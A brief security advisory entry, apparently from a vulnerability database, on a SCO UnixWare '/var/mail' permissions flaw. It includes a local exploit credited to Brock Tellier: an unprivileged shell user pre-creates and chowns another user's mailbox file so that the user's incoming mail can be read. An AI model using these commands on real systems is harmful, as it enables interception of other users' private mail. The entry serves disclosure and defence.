SCO UnixWare '/var/mail' permissions Vulnerability

bash-2.02$ id
uid=106(xnec) gid=1(other)
bash-2.02$ pwd
/var/mail
bash-2.02$ touch btellier
bash-2.02$ chown btellier btellier
bash-2.02$ ls -la btellier
-rw-r--r-- 1 btellier other 0 Dec 4 07:54 btellier

Now wait for btellier to get some mail...

[This exploit is part of the original mail on this subject posted by Brock Tellier, it is listed in its entirety in the 'Credit' section of this vulnerability entry.]


 

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